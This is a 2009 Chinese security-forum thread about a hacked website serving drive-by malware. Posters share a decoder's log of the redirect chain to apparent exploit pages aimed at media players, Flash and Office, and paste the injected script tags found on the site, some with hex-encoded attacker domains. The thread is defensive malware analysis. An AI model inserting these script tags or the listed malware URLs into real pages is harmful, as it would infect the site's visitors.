挂的好兇

显示全部楼层 · 发表于 2009-5-3 15:30:40

其实是有马的，只是没解出来马地址，所以标题这么了。。
OPERA+AVIRA叫得好厉害

几个脚本疊着调用，
上点半日志有点不关系的偶删除了。。

不是第一次了应该，有組織的。。
关于:hxxp://www.weifanghongli.com/解密的日志(全体输出- 39):

这里有暴风的，www.weifanghongli.com/b/bf.htm 在主页没找到调用。。

Level  0>http://www.weifanghongli.com/
Level  1>http://cn.com.fengyunfz.com.cn/images/images/gif.gif
Level  2>http://cn.com.fengyunfz.com.cn/images/images/tj.htm
Level  3>http://count45.51yes.com/click.aspx?id=457288414&logo=1
Level  2>http://cn.com.fengyunfz.com.cn/images/images/09002.htm
Level  2>http://cn.com.fengyunfz.com.cn/images/images/old.htm
Level  2>http://cn.com.fengyunfz.com.cn/images/images/real2.htm
Level  2>http://cn.com.fengyunfz.com.cn/images/images/swf.htm
Level  2>http://cn.com.fengyunfz.com.cn/images/images/bf.htm
Level  1>http://tw.lovechina.tw.cn/count/js/gif.gif
Level  1>http://%61%2e%6c%69%61%6f%62%61%6d%6d%2e%63%6f%6d/js.js
Level  2>http://www.tiancheng365.cn/ds/rs.htm
Level  3>http://www.tiancheng365.cn/ds/fff.swf
Level  3>http://www.tiancheng365.cn/ds/iie.swf
Level  3>http://tongji.cn.yahoo.com
Level  3>http://www.tiancheng365.cn/ds/x.htm
Level  4>http://www.tiancheng365.cn/ds/7.htm
Level  5>http://www.tiancheng365.cn/ds/7.css
Level  4>http://www.tiancheng365.cn/ds/bff.htm
Level  5>http://www.tiancheng365.cn/ds/bff.css
Level  5>http://www.tiancheng365.cn/ds/2.css
Level  4>http://www.tiancheng365.cn/ds/2.htm
Level  4>http://www.tiancheng365.cn/ds/uuss.htm
Level  5>http://www.uusee.com/mini3/uusee_client_update/remark.php
Level  5>http://www.tiancheng365.cn/ds/uu.ini
Level  4>http://www.tiancheng365.cn/ds/cx.htm
Level  4>http://www.tiancheng365.cn/ds/bf.htm
Level  4>http://www.tiancheng365.cn/ds/office.htm
Level  4>http://www.tiancheng365.cn/ds/s.htm
Level  4>http://www.tiancheng365.cn/ds/newlz.htm
Level  4>http://www.tiancheng365.cn/ds/1.htm
Level  4>http://www.tiancheng365.cn/ds/all.css
Level  3>http://www.tiancheng365.cn/ds/#ffffff
Level  3>http://www.tiancheng365.cn/ds/high
Level  3>http://www.tiancheng365.cn/ds/samedomain
Level  3>http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0
Level  4>http://count.yisou.yahoo.com/search/web?s=space_id_home&t=1241334847&n=1&p=ni&d=119&=miss=0
Level  1>http://ego.ht.cx/office.js?google_ad_format=728x90_as&google_ad_type=text_image
Level  1>http://www.weifanghongli.com/image/index.swf

日志由 Redoce1.8第112次修正版于 2009-05-03 下午 03:32:25 生成。

原帖由 taoyuan237 于 2009-5-3 15:33 发表
病毒来源：http://61.164.108.99/a.css

http://www.tiancheng365.cn/ds/2.css 可以直接看到

[ 本帖最后由 lunglungyu 于 2009-5-3 15:41 编辑 ]

显示全部楼层 · 发表于 2009-5-3 15:33:16

病毒来源：http://61.164.108.99/a.css

[ 本帖最后由 taoyuan237 于 2009-5-3 15:35 编辑 ]

显示全部楼层 · 发表于 2009-5-3 15:36:09

你看这里更恐怖，全页上下给插了，虽然重复
http://www.weifanghongli.com/index.asp

<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script language="javascript" src="http://ego.ht.cx/office.js?google_ad_format=728x90_as&google_ad_type=text_image"></script><script language=javascript src=http://%61%2E%6C%69%61%6F%62%61%6D%6D%2E%63%6F%6D/js.js></script><script language=javascript src=http://%61%2E%6C%69%61%6F%62%61%6D%6D%2E%63%6F%6D/js.js></script><script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
</script><script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>

<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script language="javascript" src="http://ego.ht.cx/office.js?google_ad_format=728x90_as&google_ad_type=text_image"></script><script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>

<script language="javascript" src="http://ego.ht.cx/office.js?google_ad_format=728x90_as&google_ad_type=text_image"></script><script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>

<script language="javascript" src="http://ego.ht.cx/office.js?google_ad_format=728x90_as&google_ad_type=text_image"></script><script language=javascript src=http://%61%2E%6C%69%61%6F%62%61%6D%6D%2E%63%6F%6D/js.js></script><script language=javascript src=http://%61%2E%6C%69%61%6F%62%61%6D%6D%2E%63%6F%6D/js.js></script><script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://tw.lovechina.tw.cn/count/js/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>
<script src=http://cn.com.fengyunfz.com.cn/images/images/gif.gif></script>

显示全部楼层 · 发表于 2009-5-3 15:47:39

有的还用到密钥。。。。。。bc

显示全部楼层 · 发表于 2009-5-3 15:53:15

原帖由 gtyre1 于 2009-5-3 15:47 发表
有的还用到密钥。。。。。。bc

而且服务器很成问题，半天打不开

另外BF。htm还针对FreShow读取代码做了处理
另外我解出来这么是这个
http://ilovefzl.ilovefzl.com.cn/images/images/js.css

显示全部楼层 · 发表于 2009-5-3 15:54:21

原帖由 gtyre1 于 2009-5-3 15:47 发表
有的还用到密钥。。。。。。bc

不是很会看密钥教教我好不？？

显示全部楼层 · 发表于 2009-5-3 15:55:58

您是说bf.htm 吗？

显示全部楼层 · 发表于 2009-5-3 15:56:25

原帖由 taoyuan237 于 2009-5-3 15:54 发表

不是很会看密钥教教我好不？？

当然可以，大家一起交流学习嘛

显示全部楼层 · 发表于 2009-5-3 15:57:02

原帖由 gtyre1 于 2009-5-3 15:55 发表
您是说bf.htm 吗？

是的
等会我吧附件放上来

显示全部楼层 · 发表于 2009-5-3 15:57:54

http://cn.com.fengyunfz.com.cn/images/images/bf.htm
http://www.weifanghongli.com/b/bf.htm
http://www.tiancheng365.cn/ds/bf.htm
有三个

偶也学

[已鉴定] 挂的好兇